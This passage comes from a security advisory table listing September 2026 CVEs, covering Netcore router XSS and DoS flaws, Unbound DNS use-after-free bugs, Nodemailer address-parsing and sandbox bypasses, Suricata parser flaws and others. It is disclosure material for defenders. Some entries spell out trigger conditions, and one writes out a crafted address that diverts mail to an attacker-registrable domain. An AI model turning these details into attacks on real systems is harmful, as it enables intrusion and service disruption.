&lt;td&gt;Netcore NR255-V version 1.5.130703 contains an out-of-bounds read vulnerability in filter_arp_put_file.cgi caused by improper use of a string handling API. Attackers can trigger an unterminated buffer over-read by exploiting this flaw in the affected component, potentially exposing adjacent memory contents.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92255&quot; target=&quot;_blank&quot;&gt;CVE-2026-92255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stored cross-site scripting vulnerability in L7 content management pages that use eval() sinks, affecting the call board text and policy group handling components. Attackers can inject persistent script payloads through these pages to have malicious code executed in the context of other users viewing the affected content.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92257&quot; target=&quot;_blank&quot;&gt;CVE-2026-92257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stored cross-site scripting vulnerability in ddns_wan_list_show.cgi caused by unsafe eval() handling of DDNS data. Attackers can inject malicious script through the DDNS configuration path, leading to persistent execution when the affected page is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76858&quot; target=&quot;_blank&quot;&gt;CVE-2026-76858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in the mod_qos_bandwidth plan.json handling within filter_conns_dump_cgi.c and IGD_CgiCall.c. Authenticated users with broad roles can access these QoS read routes to obtain live network telemetry beyond their intended privilege level.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76863&quot; target=&quot;_blank&quot;&gt;CVE-2026-76863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;NR255-V version 1.5.130703 fails to sanitize QoS rule names before they are parsed via eval() in qos_xianz_add_cgi, qos_xianz_show_cgi, qos_filter_add_cgi, and qos_filter_show_cgi handlers. An attacker can inject persistent script code through crafted QoS rule name input that executes when the stored data is later processed by the affected handlers.&#039;&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76864&quot; target=&quot;_blank&quot;&gt;CVE-2026-76864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a null pointer dereference vulnerability in the QoS setter CGI handlers filter_conn_del_cgi.c and gre_prio_set_cgi.c due to unchecked atoi() results. An attacker can trigger the flaw by supplying crafted input to these handlers, causing a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76865&quot; target=&quot;_blank&quot;&gt;CVE-2026-76865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a null pointer dereference vulnerability in route_policy_add.cgi caused by a missing exit_port parameter. Attackers can send requests lacking the exit_port field to trigger the null pointer dereference, resulting in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76868&quot; target=&quot;_blank&quot;&gt;CVE-2026-76868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netease-youdao--LobsterAI&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in netease-youdao LobsterAI 2026.6.15/2026.8.28/2026.9.3/2026.9.4. Impacted is the function OpenClawConfigSync.buildBrowserConfig of the file src/main/libs/openclawConfigSync.ts of the component Browser Network Configuration. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically due to inactivity.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90818&quot; target=&quot;_blank&quot;&gt;CVE-2026-90818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Newell Brands--DYMO Connect Desktop&lt;/td&gt;
&lt;td&gt;The LoadImageAsPngBase64 endpoint of the Newell Brands DYMO Connect Desktop local web service accepts a file path parameter without adequate validation, allowing a crafted path to read arbitrary image files from the host filesystem outside the intended scope. Fixed in 1.6.2. The fix limits access by file extension only, not by directory - arbitrary-location reads of files with an allowed image extension remain possible by design (accepted residual risk).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76796&quot; target=&quot;_blank&quot;&gt;CVE-2026-76796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nextflow-io--nextflow&lt;/td&gt;
&lt;td&gt;Nextflow is a DSL for data-driven computational pipelines. From 25.09.2-edge until 25.10.6 and 26.04.3, nextflow auth login writes Seqera Platform OIDC bearer tokens to ${NXF_HOME:-~/.nextflow}/seqera-auth.config through AuthCommandImpl.writeConfig in plugins/nf-tower/src/main/io/seqera/tower/plugin/auth/AuthCommandImpl.groovy without setting restrictive file permissions, allowing the default umask 022 to create the file with mode 0644. On a multi-user POSIX host, a local user who can traverse the victim&#039;s home directory can read seqera-auth.config and impersonate the victim against Seqera Platform within the token&#039;s scope. Single-user systems and headless CI runners that do not use the interactive login flow are not affected. This issue is fixed in 25.10.6 and 26.04.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48722&quot; target=&quot;_blank&quot;&gt;CVE-2026-48722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NginxProxyManager--nginx-proxy-manager&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in NginxProxyManager nginx-proxy-manager up to 2.15.1. This impacts the function internalCertificate.validate of the file backend/internal/certificate.js of the component Validate Route. The manipulation results in missing authentication. The attack can be launched remotely. The exploit is now public and may be used. Endpoint only processes and echoes back the certificate the caller submits (no stored data leaked); the real risk is unauthenticated openssl processing of attacker input. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93964&quot; target=&quot;_blank&quot;&gt;CVE-2026-93964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ninjateam--FileBird WordPress Media Library Folders &amp;amp; File Manager&lt;/td&gt;
&lt;td&gt;The FileBird - WordPress Media Library Folders &amp;amp; File Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image alt text in all versions up to, and including, 6.5.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15004&quot; target=&quot;_blank&quot;&gt;CVE-2026-15004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nivocart--nivocart&lt;/td&gt;
&lt;td&gt;NivoCart through 2.4.0 contains a destructive configuration write vulnerability in the admin password reset controller that allows unauthenticated attackers to disable password recovery by supplying an invalid code parameter. Attackers can send a GET request with a missing or incorrect code to rewrite the config_password setting to 0, disabling self-service password recovery until an administrator manually re-enables it.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94105&quot; target=&quot;_blank&quot;&gt;CVE-2026-94105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;NLnet Labs Unbound 1.22.0 up to and including 1.26.1, has a use-after-free vulnerability when compiled for DNS-over-QUIC support with &#039;--with-libngtcp2&#039;. Each DoQ stream owns an output buffer that holds the DNS response. ngtcp2&#039;s retransmission buffer keeps a shallow pointer into the output buffer for as long as a STREAM frame may be resent. On a client RESET_STREAM, the output buffer is freed but ngtcp2 still holds the matching retransmission entries. The next PTO timeout makes ngtcp2 re-encode the STREAM frame and copy from the freed buffer. A malicious actor that can query Unbound over DoQ and that withholds ACKs, sends RESET_STREAM, and waits for PTO, reaches this use-after-free with no privilege. This leads to retransmissions against freed memory and eventually an abnormal server exit under a 20-query spray.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78227&quot; target=&quot;_blank&quot;&gt;CVE-2026-78227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnetLabs Unbound up to and including 1.26.0, a degradation of service vulnerability is present in the TCP/DoT reading procedure where there is no limit on consecutive reads. A malicious actor that can stream and sustain a rate of distinct uncached names over the TCP/DoT connection, monopolizes a single worker&#039;s entire event loop for as long as its writes stay ahead of the drain.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80225&quot; target=&quot;_blank&quot;&gt;CVE-2026-80225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;NLnet Labs Unbound 1.12.0 up to and including 1.26.0 has a use-after-free vulnerability when compiled for DNS-over-HTTPs support with &#039;--with-libnghttp2&#039;. During failure code paths (i.e., RPZ drop query, jostle due to heavy traffic), a dropped DoH stream brings down the whole DoH session and does not account properly for other DoH streams in the same session. This leads to use-after-free in those code paths. If the prerequisites are satisfied (possible RPZ drop or heavy client traffic), a malicious actor can trigger the vulnerability with a single DoH connection and the appropriate traffic. Impact is limited as the reads are not user controlled and the use-after-free leads to early returns. However, a hardened allocator can catch the use-after-free and controllably terminate the process resulting to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82720&quot; target=&quot;_blank&quot;&gt;CVE-2026-82720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;Novel vulnerabilities to launch algorithmic complexity attacks on DNSSEC have been researched under the term &#039;ReTrap&#039;. These result in degradation of service when malicious zones are used to serve the algorithmic complexity vulnerabilities. NLnet Labs Unbound up to and including 1.26.0 is vulnerable to some of them. TagTrap, where the triple(Zone, Algo, KeyTag) matching mechanism introduces a significant attack vector when resolvers handle malicious responses containing numerous mismatched DNSKEY, RRSIG, and DS record. DelegationTrap, where constructing the chain-of-trust requires iterative validation of DNSKEY and DS records from the root zone downward. For deeply nested domains, this results in significant computational overhead. NsecTrap, where responses with excessive invalid NSEC records compel the resolver to validate each one. AdditionalTrap, where Unbound by default would try to DNSSEC validate the ADDITIONAL section as well. This can be exploited to waste validation resources by malicious users.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85501&quot; target=&quot;_blank&quot;&gt;CVE-2026-85501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnet Labs Unbound 1.13.2 up to and including 1.26.1, a vulnerability in ZONEMD configured zones (zonemd-check: yes) which are located below (but not at) a trust anchor allow for an attack window where (tampered with) zone contents are served (or stored to disk) prior to the ZONEMD integrity check. This is caused by the needed DS/DNSKEY asynchronous resolution that needs to happen before the ZONEMD check completes. If a zonefile is written to disk (zonefile: option) while the ZONEMD check failed, the tampered data are reloaded on startup and available until ZONEMD verification concludes again. If verification fails, the data is not served any more but still persists on disk for future reloads.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77955&quot; target=&quot;_blank&quot;&gt;CVE-2026-77955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer versions &amp;gt;= 6.9.16 and &amp;lt; 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as user@good-corp.com(x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92597&quot; target=&quot;_blank&quot;&gt;CVE-2026-92597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domains via SMTP.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92598&quot; target=&quot;_blank&quot;&gt;CVE-2026-92598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92595&quot; target=&quot;_blank&quot;&gt;CVE-2026-92595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;O-RAN-SC--SMO OAM&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in O-RAN-SC SMO OAM 2025-06-10. This affects an unknown part of the component VES Collector. The manipulation leads to allocation of resources. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93310&quot; target=&quot;_blank&quot;&gt;CVE-2026-93310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;O-RAN-SC--SMO OAM&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in O-RAN-SC SMO OAM 2025-06-10. Affected is an unknown function of the component VES Collector. Such manipulation of the argument additionalFields.padding leads to uncontrolled memory allocation. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93307&quot; target=&quot;_blank&quot;&gt;CVE-2026-93307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;O-RAN-SC--SMO OAM&lt;/td&gt;
&lt;td&gt;A vulnerability was found in O-RAN-SC SMO OAM 2025-06-10. Affected by this vulnerability is an unknown functionality of the component VES Collector. Performing a manipulation results in allocation of resources. The attack may be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93308&quot; target=&quot;_blank&quot;&gt;CVE-2026-93308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;O-RAN-SC--SMO OAM&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in O-RAN-SC SMO OAM 2025-06-10. Affected by this issue is some unknown functionality of the component VES Collector. Executing a manipulation can lead to allocation of resources. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93309&quot; target=&quot;_blank&quot;&gt;CVE-2026-93309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, the DHCP parser in rust/src/dhcp/dhcp.rs creates stateless transactions without recording their packet direction with AppLayerTxData::for_direction(), so a sensor that observes only one direction cannot mark the unseen direction inspected or free completed transactions. The RDP parser in rust/src/rdp/rdp.rs has the same direction-state defect. The per-flow transaction list can grow without bound and cleanup repeatedly scans it, causing increasing CPU and memory consumption and eventual denial of service. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57224&quot; target=&quot;_blank&quot;&gt;CVE-2026-57224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.17 and 8.0.6, crafted IPv4 and IPv6 address pairs can collide in the IPPair hash because src/ippair.c did not compare the IP address family before reusing IPPair-backed state. This can apply state from one IP family to another for xbits track ip_pair, FTP data expectations, and, on the 7.0 release line, thresholding, detection_filter, and rate_filter rules using track by_both, causing incorrect detection state. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57222&quot; target=&quot;_blank&quot;&gt;CVE-2026-57222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, the SMTP MIME parser in rust/src/mime/smtp.rs does not fully reset state when processing Content-Type: message/rfc822 encapsulation. An outer MIME part&#039;s encoding or filename state can leak into the inner message, allowing crafted mail to evade detections based on file.data, file.name, or extracted URLs when SMTP MIME decoding is enabled. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57229&quot; target=&quot;_blank&quot;&gt;CVE-2026-57229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.17 and 8.0.6, the SMB parser can retain force-completed transactions on flows where Suricata sees payload in only one direction, including async-oneside flows, because cleanup waits for inspection in the unseen direction. The transaction creation paths in rust/src/smb can exceed the intended SMB_MAX_TX bound, and cleanup repeatedly scans the growing list. Sustained one-directional SMB traffic can therefore cause unbounded per-flow state and CPU and memory exhaustion. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63448&quot; target=&quot;_blank&quot;&gt;CVE-2026-63448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.17 and 8.0.6, src/flow-hash.c can treat an IPv4 and IPv6 flow as equal without comparing the IP family when their raw address words, ports, protocol, VLAN, recursion level, live device, and hash bucket align. An IPv6 packet can therefore reuse IPv4 flow state or the reverse, causing incorrect flowbit state, detection bypass, or IP-only bypass. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71855&quot; target=&quot;_blank&quot;&gt;CVE-2026-71855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;olivier-ls--PHP-FTS&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in olivier-ls PHP-FTS up to 1.1.3. This affects the function SearchEngine::matchesSingleFilter of the file src/SearchEngine.php of the component Filter Matching. The manipulation leads to incorrect comparison. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.4 is able to mitigate this issue. The identifier of the patch is 0b2fae333d6b022da7ed4c43e2d41aa03f91dff3. It is suggested to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93957&quot; target=&quot;_blank&quot;&gt;CVE-2026-93957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-feature--open-feature-operator&lt;/td&gt;
&lt;td&gt;The OpenFeature Operator allows users to expose feature flags to applications. In version 0.9.2 and earlier, a tenant who can create a controller-owned workload can use the openfeature.dev/featureflagsource annotation with NAMESPACE/NAME syntax to reference a FeatureFlagSource or InProcessConfiguration in another namespace. On multi-tenant clusters that use namespaces as trust boundaries, the cluster-scoped operator reads that resource and materializes spec.envVars literal values, spec.httpSyncBearerToken, sync URIs, and supporting ConfigMaps into the tenant&#039;s workload. Single-tenant clusters are not impacted, secretKeyRef and configMapKeyRef values remain namespace-local, and creating a FeatureFlagSource is not required.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54495&quot; target=&quot;_blank&quot;&gt;CVE-2026-54495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-collector-contrib&lt;/td&gt;
&lt;td&gt;OpenTelemetry, also known as OTel, is a vendor-neutral open source Observability framework for instrumenting, generating, collecting, and exporting telemetry data such as traces, metrics, and logs. Prior to 0.154.0, the Sentry exporter reads the remote OTLP sender-controlled service.name resource attribute in exporter/sentryexporter/sentry_exporter.go through extractProjectSlug and getOrCreateProjectEndpoint, passes the raw project slug to GetOTLPEndpoints and GetProjectKeys in exporter/sentryexporter/sentry_client.go, and interpolates it into a Sentry API URL without applying projectSlugRegexp through validateRoutingConfig at runtime in exporter/sentryexporter/config.go. Special characters can turn the expected path suffix into query data in all deployments or introduce slash and dot segments that traverse paths when the Sentry deployment normalizes them, while the Collector attaches its operator-configured bearer token to the request. A successful request can reach token-authorized administrative, organization, member, or key endpoints within the configured Sentry organization, and an attacker-controlled project slug can redirect subsequently exported telemetry. Sentry token middleware prevents cross-organization access. This issue is fixed in version 0.154.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47256&quot; target=&quot;_blank&quot;&gt;CVE-2026-47256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Open5GS--Open5GS&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Open5GS up to 2.8.0. This affects the function ogs_pfcp_parse_volume_measurement in the library lib/pfcp/types.c of the component PFCP Handler. The manipulation results in null pointer dereference. The attack may be launched remotely. The patch is identified as 8f07b507b78ff94776f2cd49276eb116ed93d7f2. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92417&quot; target=&quot;_blank&quot;&gt;CVE-2026-92417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Open5GS--Open5GS&lt;/td&gt;
